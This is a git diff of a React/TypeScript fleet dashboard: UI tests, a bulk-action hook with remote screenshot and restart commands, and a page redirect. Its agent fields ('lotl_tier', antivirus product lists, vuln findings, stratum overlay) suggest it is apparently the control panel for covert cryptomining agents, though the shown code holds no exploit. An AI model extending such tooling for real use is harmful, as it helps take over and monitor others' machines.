+ hashrate_15s: 100,
+ hashrate_1m: 90,
+ hashrate_15m: 80,
+ cpu_usage_pct: 12,
+ lotl_tier: 'tier-2',
+ }),
+ ).toBe(false);
+ });
+
+ it('returns false when lotl_attempts change', () => {
+ const agent = mockAgent({
+ hashrate_15s: 100,
+ hashrate_1m: 90,
+ hashrate_15m: 80,
+ cpu_usage_pct: 12,
+ lotl_attempts: [{ tier: 'container', ok: false, duration_ms: 500 }],
+ });
+ expect(
+ agentStatsUnchanged(agent, {
+ agent_id: agent.id,
+ hashrate_15s: 100,
+ hashrate_1m: 90,
+ hashrate_15m: 80,
+ cpu_usage_pct: 12,
+ lotl_attempts: [{ tier: 'container', ok: true, duration_ms: 500 }],
+ }),
+ ).toBe(false);
+ });
});
describe('WS_LATEST_MESSAGE_TYPES', () => {
diff --git a/server/web/src/help/wsStatsCoalesce.ts b/server/web/src/help/wsStatsCoalesce.ts
index 5f4eb87..05b3fd9 100644
--- a/server/web/src/help/wsStatsCoalesce.ts
+++ b/server/web/src/help/wsStatsCoalesce.ts
@@ -39,10 +39,22 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
if (u.latency_ms !== undefined && agent.latency_ms !== u.latency_ms) return false;
if (u.pending_updates !== undefined && agent.pending_updates !== u.pending_updates) return false;
if (u.last_patch !== undefined && agent.last_patch !== u.last_patch) return false;
+ if (u.active_method !== undefined && agent.active_method !== u.active_method) return false;
+ if (u.last_error !== undefined && agent.last_error !== u.last_error) return false;
+ if (u.stratum_overlay !== undefined && agent.stratum_overlay !== u.stratum_overlay) return false;
+ if (u.chain_exhausted !== undefined && agent.chain_exhausted !== u.chain_exhausted) return false;
+ if (u.chain_order !== undefined && !shallowStrArrayEq(agent.chain_order, u.chain_order)) return false;
+ if (u.failed_methods !== undefined && agent.failed_methods !== u.failed_methods) return false;
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
if (u.services !== undefined && agent.services !== u.services) return false;
+ if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
+ if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
+ if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
+ if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
+ if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
+ if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
return true;
}
@@ -55,6 +67,19 @@ function shallowStrArrayEq(a?: string[], b?: string[]): boolean {
return true;
}
+function tierAttemptsEq(a?: import('../types/lotl').TierAttempt[], b?: import('../types/lotl').TierAttempt[]): boolean {
+ if (a === b) return true;
+ if (!a || !b || a.length !== b.length) return false;
+ for (let i = 0; i < a.length; i++) {
+ const x = a[i];
+ const y = b[i];
+ if (x.tier !== y.tier || x.ok !== y.ok || x.error !== y.error || x.duration_ms !== y.duration_ms) {
+ return false;
+ }
+ }
+ return true;
+}
+
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
export const WS_LATEST_MESSAGE_TYPES = new Set([
'presence_snapshot',
diff --git a/server/web/src/hooks/useFleetBulkActions.test.ts b/server/web/src/hooks/useFleetBulkActions.test.ts
new file mode 100644
index 0000000..52febad
--- /dev/null
+++ b/server/web/src/hooks/useFleetBulkActions.test.ts
@@ -0,0 +1,123 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { act, renderHook, waitFor } from '@testing-library/react';
+import { useFleetBulkActions } from './useFleetBulkActions';
+import { api } from '../api/client';
+import { mockAgent } from '../test/fixtures';
+import type { Agent } from '../types';
+
+vi.mock('../api/client', () => ({
+ api: {
+ bulkDeleteAgents: vi.fn(),
+ sendBulkCommand: vi.fn(),
+ sendAgentCommand: vi.fn(),
+ },
+}));
+
+const bulkDeleteMock = vi.mocked(api.bulkDeleteAgents);
+const sendBulkMock = vi.mocked(api.sendBulkCommand);
+
+function renderBulkHook(agents: Agent[], selectedIds: string[]) {
+ const selected = new Set(selectedIds);
+ return renderHook(() => useFleetBulkActions({ agents, selectedIds: selected }));
+}
+
+describe('useFleetBulkActions', () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ bulkDeleteMock.mockResolvedValue({ success: true, deleted: 1 });
+ sendBulkMock.mockResolvedValue({ success: true, sent: 1, failed: 0, action: 'restart' });
+ });
+
+ afterEach(() => {
+ vi.unstubAllGlobals();
+ });
+
+ describe('bulk delete confirm path', () => {
+ it('calls bulkDeleteAgents when operator confirms', async () => {
+ const agent = mockAgent({ id: 'del-1' });
+ const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(true);
+ const { result } = renderBulkHook([agent], ['del-1']);
+
+ await act(async () => {
+ await result.current.handleBulkAction('delete');
+ });
+
+ expect(confirmSpy).toHaveBeenCalledWith(
+ 'Permanently remove 1 machine(s) from the fleet roster?',
+ );
+ expect(bulkDeleteMock).toHaveBeenCalledWith(['del-1']);
+ expect(sendBulkMock).not.toHaveBeenCalled();
+ confirmSpy.mockRestore();
+ });
+
+ it('skips bulkDeleteAgents when operator declines', async () => {
+ const agent = mockAgent({ id: 'del-2' });
+ const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(false);
+ const { result } = renderBulkHook([agent], ['del-2']);
+
+ await act(async () => {
+ await result.current.handleBulkAction('delete');
+ });
+
+ expect(confirmSpy).toHaveBeenCalled();
+ expect(bulkDeleteMock).not.toHaveBeenCalled();
+ confirmSpy.mockRestore();
+ });
+ });
+
+ describe('restart_idle', () => {
+ it('filters to online idle miners and sends restart bulk command', async () => {
+ const idle = mockAgent({ id: 'idle-1', status: 'online', hashrate_15m: 42 });
+ const active = mockAgent({ id: 'active-1', status: 'online', hashrate_15m: 1200 });
+ const offlineIdle = mockAgent({ id: 'off-1', status: 'offline', hashrate_15m: 0 });
+ const { result } = renderBulkHook(
+ [idle, active, offlineIdle],
+ ['idle-1', 'active-1', 'off-1'],
+ );
+
+ await act(async () => {
+ await result.current.handleBulkAction('restart_idle');
+ });
+
+ await waitFor(() => {
+ expect(sendBulkMock).toHaveBeenCalledWith(['idle-1'], 'restart');
+ });
+ });
+
+ it('alerts when no selected agents are idle miners', async () => {
+ const active = mockAgent({ id: 'active-2', status: 'online', hashrate_15m: 800 });
+ const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
+ const { result } = renderBulkHook([active], ['active-2']);
+
+ await act(async () => {
+ await result.current.handleBulkAction('restart_idle');
+ });
+
+ expect(alertSpy).toHaveBeenCalledWith(
+ 'No selected online agents with idle hashrate (< 100 H/s).',
+ );
+ expect(sendBulkMock).not.toHaveBeenCalled();
+ alertSpy.mockRestore();
+ });
+ });
+
+ describe('mining_diagnostics', () => {
+ it('calls sendBulkCommand with mining_diagnostics action for online selection', async () => {
+ const a1 = mockAgent({ id: 'diag-1', status: 'online' });
+ const a2 = mockAgent({ id: 'diag-2', status: 'online' });
+ const offline = mockAgent({ id: 'diag-off', status: 'offline' });
+ const { result } = renderBulkHook([a1, a2, offline], ['diag-1', 'diag-2', 'diag-off']);
+
+ await act(async () => {
+ await result.current.handleBulkAction('mining_diagnostics');
+ });
+
+ await waitFor(() => {
+ expect(sendBulkMock).toHaveBeenCalledWith(['diag-1', 'diag-2'], 'mining_diagnostics');
+ });
+ });
+ });
+});
diff --git a/server/web/src/hooks/useFleetBulkActions.ts b/server/web/src/hooks/useFleetBulkActions.ts
new file mode 100644
index 0000000..9ea69d6
--- /dev/null
+++ b/server/web/src/hooks/useFleetBulkActions.ts
@@ -0,0 +1,115 @@
+import { useState, useEffect, useRef, useCallback } from 'react';
+import { api } from '../api/client';
+import { agentIsIdleMiner } from '../help/fleetFilters';
+import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload';
+import type { Agent } from '../types';
+import type { SeqCommandResult } from '../context/WebSocketContext';
+
+interface Options {
+ agents: Agent[];
+ selectedIds: Set;
+ commandResults?: SeqCommandResult[];
+}
+
+export function useFleetBulkActions({ agents, selectedIds, commandResults }: Options) {
+ const [bulkBusy, setBulkBusy] = useState(false);
+ const screenshotWatchId = useRef(null);
+ const screenshotSeqRef = useRef(0);
+
+ useEffect(() => {
+ if (!commandResults?.length || !screenshotWatchId.current) return;
+ const watch = screenshotWatchId.current;
+ for (const r of commandResults) {
+ if (r._seq <= screenshotSeqRef.current) continue;
+ if (r.agent_id !== watch || r.action !== 'screenshot') continue;
+ screenshotSeqRef.current = r._seq;
+ screenshotWatchId.current = null;
+ const label = agents.find((a) => a.id === watch)?.name ?? watch.slice(0, 8);
+ if (r.success && r.message) {
+ const ok = downloadScreenshotFromBase64(sanitizeScreenshotBase64(r.message), label);
+ if (!ok) alert(`Screenshot from ${label} failed — empty or invalid image.`);
+ } else {
+ alert(`Screenshot failed on ${label}: ${r.message ?? 'unknown error'}`);
+ }
+ break;
+ }
+ }, [commandResults, agents]);
+
+ const handleBulkAction = useCallback(
+ async (action: string) => {
+ const ids = [...selectedIds];
+ if (ids.length === 0) return;
+
+ if (action === 'delete') {
+ if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return;
+ setBulkBusy(true);
+ try {
+ await api.bulkDeleteAgents(ids);
+ } catch (err) {
+ alert(err instanceof Error ? err.message : 'Bulk delete failed');
+ } finally {
+ setBulkBusy(false);
+ }
+ return;
+ }
+
+ let targetIds = ids;
+ if (action === 'restart_idle') {
+ targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
+ if (targetIds.length === 0) {
+ alert('No selected online agents with idle hashrate (< 100 H/s).');
+ return;
+ }
+ action = 'restart';
+ }
+
+ const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
+ if (onlineIds.length === 0) {
+ alert('No online agents in selection.');
+ return;
+ }
+
+ if (action === 'screenshot') {
+ if (onlineIds.length !== 1) {
+ alert('Select exactly one online machine for screenshot.');
+ return;
+ }
+ const id = onlineIds[0];
+ const label = agents.find((a) => a.id === id)?.name ?? 'agent';
+ screenshotWatchId.current = id;
+ if (commandResults?.length) {
+ screenshotSeqRef.current = commandResults[commandResults.length - 1]._seq;
+ }
+ setBulkBusy(true);
+ try {
+ const res = await api.sendAgentCommand(id, 'screenshot');
+ if (res.success === false) {
+ screenshotWatchId.current = null;
+ alert(res.error ?? 'Screenshot command rejected');
+ }
+ } catch (err) {
+ screenshotWatchId.current = null;
+ alert(err instanceof Error ? err.message : 'Screenshot failed');
+ } finally {
+ setBulkBusy(false);
+ }
+ return;
+ }
+
+ if (action === 'stop' && !window.confirm(`Power down agent process on ${onlineIds.length} machine(s)?`)) return;
+
+ setBulkBusy(true);
+ try {
+ await api.sendBulkCommand(onlineIds, action);
+ } catch (err) {
+ console.error(err);
+ alert(err instanceof Error ? err.message : 'Bulk command failed');
+ } finally {
+ setBulkBusy(false);
+ }
+ },
+ [agents, commandResults, selectedIds],
+ );
+
+ return { bulkBusy, handleBulkAction };
+}
diff --git a/server/web/src/pages/AgentsPage.test.tsx b/server/web/src/pages/AgentsPage.test.tsx
index 2c47ebb..5469919 100644
--- a/server/web/src/pages/AgentsPage.test.tsx
+++ b/server/web/src/pages/AgentsPage.test.tsx
@@ -1,227 +1,30 @@
/**
* @vitest-environment happy-dom
*/
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
-import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
-import userEvent from '@testing-library/user-event';
-import { MemoryRouter } from 'react-router-dom';
+import { afterEach, describe, expect, it } from 'vitest';
+import { cleanup, render, screen } from '@testing-library/react';
+import { MemoryRouter, Routes, Route } from 'react-router-dom';
import AgentsPage from './AgentsPage';
import { routerFuture } from '../routerFuture';
-import { mockAgent, mockServerInfo } from '../test/fixtures';
-import { useWebSocket } from '../hooks/useWebSocket';
-import { api } from '../api/client';
-vi.mock('../hooks/useWebSocket', () => ({
- useWebSocket: vi.fn(),
-}));
-
-vi.mock('../components/Fleet/AgentRemoteActions', () => ({
- default: () => ,
-}));
-
-const useWebSocketMock = vi.mocked(useWebSocket);
-
-function wsValue(overrides: Partial> = {}) {
- return {
- isConnected: false,
- agents: [],
- recentShares: [],
- fleetAlerts: [],
- poolStatus: [],
- aiActivity: [],
- agentLogs: {},
- commandResults: [],
- latestMessage: null,
- ...overrides,
- };
-}
-
-function renderAgentsPage() {
+function renderRedirect() {
return render(
-
+
+ } />
+ Crucible destination} />
+
,
);
}
describe('AgentsPage', () => {
- beforeEach(() => {
- vi.clearAllMocks();
- useWebSocketMock.mockReturnValue(wsValue());
- vi.spyOn(api, 'listAgents').mockResolvedValue([]);
- vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
- vi.spyOn(api, 'getAgentStats').mockResolvedValue([]);
- vi.spyOn(api, 'getAgentLog').mockResolvedValue({ agent_id: 'x', content: 'log line' });
- vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({
- success: true,
- agent: mockAgent({ notes: 'saved note', tags: ['rack-a'] }),
- });
- vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({
- success: true,
- sent: 1,
- failed: 0,
- action: 'restart',
- });
- });
-
afterEach(() => {
cleanup();
});
- it('renders page heading and builds install link', async () => {
- renderAgentsPage();
- expect(screen.getByRole('heading', { level: 1, name: 'Fleet Roster' })).toBeInTheDocument();
- expect(screen.getByText('FLEET REGISTRY')).toBeInTheDocument();
- expect(screen.getByText('Deploy a new worker')).toBeInTheDocument();
- expect(screen.getByRole('link', { name: /View install commands in Builds/i })).toHaveAttribute('href', '/builds');
- });
-
- it('shows loading then empty multi-OS state', async () => {
- renderAgentsPage();
- expect(screen.getByText('Scanning network...')).toBeInTheDocument();
- expect(await screen.findByText('No agents registered')).toBeInTheDocument();
- expect(
- screen.getByText(/Deploy a worker to any machine \(Windows, Linux, or macOS\)/)
- ).toBeInTheDocument();
- });
-
- it('surfaces listAgents load errors', async () => {
- vi.spyOn(api, 'listAgents').mockRejectedValue(new Error('API unavailable'));
- renderAgentsPage();
- expect(await screen.findByText('API unavailable')).toBeInTheDocument();
- });
-
- it('lists agents and opens detail panel with section headings', async () => {
- const agent = mockAgent({ name: 'Rack B Miner', notes: 'basement', tags: ['home'] });
- vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
- renderAgentsPage();
- await waitFor(() => {
- expect(screen.getByText('Rack B Miner')).toBeInTheDocument();
- });
- await userEvent.setup().click(screen.getByText('Rack B Miner'));
- await waitFor(() => {
- expect(screen.getByRole('heading', { level: 2, name: 'Rack B Miner' })).toBeInTheDocument();
- });
- expect(screen.getByText('Notes & Tags')).toBeInTheDocument();
- expect(screen.getByText('Hashrate')).toBeInTheDocument();
- expect(screen.getByText('Shares')).toBeInTheDocument();
- expect(screen.getByText('Remote Control')).toBeInTheDocument();
- expect(api.getAgentStats).toHaveBeenCalledWith(agent.id, 60);
- });
-
- it('preserves notes draft while typing until agent switch', async () => {
- const a1 = mockAgent({ id: 'a1', name: 'Node One', notes: 'note one' });
- const a2 = mockAgent({ id: 'a2', name: 'Node Two', notes: 'note two' });
- vi.spyOn(api, 'listAgents').mockResolvedValue([a1, a2]);
- renderAgentsPage();
- await waitFor(() => expect(screen.getByText('Node One')).toBeInTheDocument());
- const user = userEvent.setup();
- await user.click(screen.getByText('Node One'));
- const detail = await screen.findByRole('heading', { level: 2, name: 'Node One' });
- const panel = detail.closest('.agent-detail') as HTMLElement;
- const notes = within(panel).getByPlaceholderText('Notes about this machine…') as HTMLTextAreaElement;
- await waitFor(() => expect(notes.value).toBe('note one'));
- await user.clear(notes);
- await user.type(notes, 'typing in progress');
- expect(notes.value).toBe('typing in progress');
- await user.click(screen.getByText('Node Two'));
- await waitFor(() => expect(notes.value).toBe('note two'));
- });
-
- it('saves notes and tags via API', async () => {
- const agent = mockAgent({ id: 'save-me', name: 'Save Target' });
- vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
- const updateSpy = vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({
- success: true,
- agent: { ...agent, notes: 'Living room PC', tags: ['living-room'] },
- });
- renderAgentsPage();
- await waitFor(() => expect(screen.getByText('Save Target')).toBeInTheDocument());
- const user = userEvent.setup();
- await user.click(screen.getByText('Save Target'));
- const detail = await screen.findByRole('heading', { level: 2, name: 'Save Target' });
- const panel = detail.closest('.agent-detail') as HTMLElement;
- const notes = within(panel).getByPlaceholderText('Notes about this machine…');
- await user.clear(notes);
- await user.type(notes, 'Living room PC');
- const tags = within(panel).getByPlaceholderText('Tags: living-room, rack-b (comma separated)');
- await user.clear(tags);
- await user.type(tags, 'living-room, rack-b');
- await user.click(within(panel).getByRole('button', { name: 'Save notes & tags' }));
- await waitFor(
- () => {
- expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']);
- },
- { timeout: 10000 }
- );
- expect(await within(panel).findByText('Saved')).toBeInTheDocument();
- }, 15000);
-
- it('alerts when bulk action has no online agents', async () => {
- const offline = mockAgent({ id: 'off-1', name: 'Offline Node', status: 'offline' });
- vi.spyOn(api, 'listAgents').mockResolvedValue([offline]);
- const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
- renderAgentsPage();
- await waitFor(() => expect(screen.getByText('Offline Node')).toBeInTheDocument());
- const list = screen.getByText('Offline Node').closest('.agents-list') as HTMLElement;
- await userEvent.setup().click(within(list).getByRole('checkbox'));
- await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
- await waitFor(() => {
- expect(alertSpy).toHaveBeenCalledWith('No online agents in selection.');
- });
- alertSpy.mockRestore();
- });
-
- it('alerts when bulk command API fails', async () => {
- const agent = mockAgent({ name: 'Online One' });
- vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
- vi.spyOn(api, 'sendBulkCommand').mockRejectedValue(new Error('bulk failed'));
- const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
- renderAgentsPage();
- await waitFor(() => expect(screen.getByText('Online One')).toBeInTheDocument());
- const list = screen.getByText('Online One').closest('.agents-list') as HTMLElement;
- await userEvent.setup().click(within(list).getByRole('checkbox'));
- await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
- await waitFor(() => {
- expect(alertSpy).toHaveBeenCalledWith('bulk failed');
- });
- alertSpy.mockRestore();
- });
-
- it('syncs agents from websocket when connected', async () => {
- const restAgent = mockAgent({ id: 'rest', name: 'REST Name', hashrate_15m: 100 });
- vi.spyOn(api, 'listAgents').mockImplementation(
- () => new Promise((resolve) => setTimeout(() => resolve([restAgent]), 50))
- );
- const liveAgent = mockAgent({ id: 'rest', name: 'Live Name', hashrate_15m: 999 });
- useWebSocketMock.mockReturnValue(wsValue({ isConnected: true, agents: [liveAgent] }));
- renderAgentsPage();
- await waitFor(() => {
- expect(screen.getByText('Live Name')).toBeInTheDocument();
- });
- expect(screen.queryByText('REST Name')).not.toBeInTheDocument();
- });
-
- it('shows filter empty hint when no agents match', async () => {
- vi.spyOn(api, 'listAgents').mockResolvedValue([mockAgent({ name: 'Hidden', tags: ['prod'] })]);
- renderAgentsPage();
- await waitFor(() => expect(screen.getByText('Hidden')).toBeInTheDocument());
- const search = screen.getByPlaceholderText('Search name, IP, notes, tags…');
- await userEvent.setup().type(search, 'nomatchxyz');
- expect(screen.getByText('No agents match filters.')).toBeInTheDocument();
- });
-
- it('select all filtered selects every visible agent', async () => {
- const a1 = mockAgent({ id: 'a1', name: 'Alpha', tags: ['prod'] });
- const a2 = mockAgent({ id: 'a2', name: 'Beta', tags: ['prod'] });
- const a3 = mockAgent({ id: 'a3', name: 'Gamma', tags: ['dev'] });
- vi.spyOn(api, 'listAgents').mockResolvedValue([a1, a2, a3]);
- renderAgentsPage();
- await waitFor(() => expect(screen.getByText('Alpha')).toBeInTheDocument());
- const user = userEvent.setup();
- await user.selectOptions(screen.getByTitle('Filter by tag'), 'prod');
- await user.click(screen.getByRole('button', { name: 'Select all filtered (2)' }));
- expect(screen.getByText('2 selected')).toBeInTheDocument();
- expect(screen.getByRole('button', { name: 'Pause' })).toBeInTheDocument();
+ it('redirects /agents to /crucible', () => {
+ renderRedirect();
+ expect(screen.getByText('Crucible destination')).toBeInTheDocument();
});
});
diff --git a/server/web/src/pages/AgentsPage.tsx b/server/web/src/pages/AgentsPage.tsx
index 1f63fd6..d776a2b 100644
--- a/server/web/src/pages/AgentsPage.tsx
+++ b/server/web/src/pages/AgentsPage.tsx
@@ -1,651 +1,6 @@
-import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
-import { Link } from 'react-router-dom';
-import { api } from '../api/client';
-import { useWebSocket } from '../hooks/useWebSocket';
-import type { Agent, HashrateSample } from '../types';
-import LatencyBadge from '../components/Fleet/LatencyBadge';
-import HashrateChart from '../components/Charts/HashrateChart';
-import { resolveChartSeries } from '../help/chartSampleData';
-import NeonCard from '../components/NeonCard/NeonCard';
-import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
-import AgentListItem from '../components/Fleet/AgentListItem';
-import FleetToolbar from '../components/Fleet/FleetToolbar';
-import {
- DEFAULT_FLEET_FILTERS,
- filterFleetAgents,
- agentIsIdleMiner,
- formatHashrate,
- formatUptime,
-} from '../help/fleetFilters';
-import type { FleetFilterState } from '../help/fleetFilters';
-import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../help/screenshotDownload';
-import { groupsForAgent } from '../help/fleetGroups';
-import { useFleetGroups } from '../hooks/useFleetGroups';
-import CreateGroupModal from '../components/Fleet/CreateGroupModal';
-import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
-import '../components/Fleet/FleetToolbar.css';
-import './Pages.css';
-
-function BuildsInstallLink() {
- return (
-
- );
-}
+import { Navigate } from 'react-router-dom';
+/** Fleet Roster ops consolidated into Crucible — keep route for bookmarks and external links. */
export default function AgentsPage() {
- const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket();
- const [agents, setAgents] = useState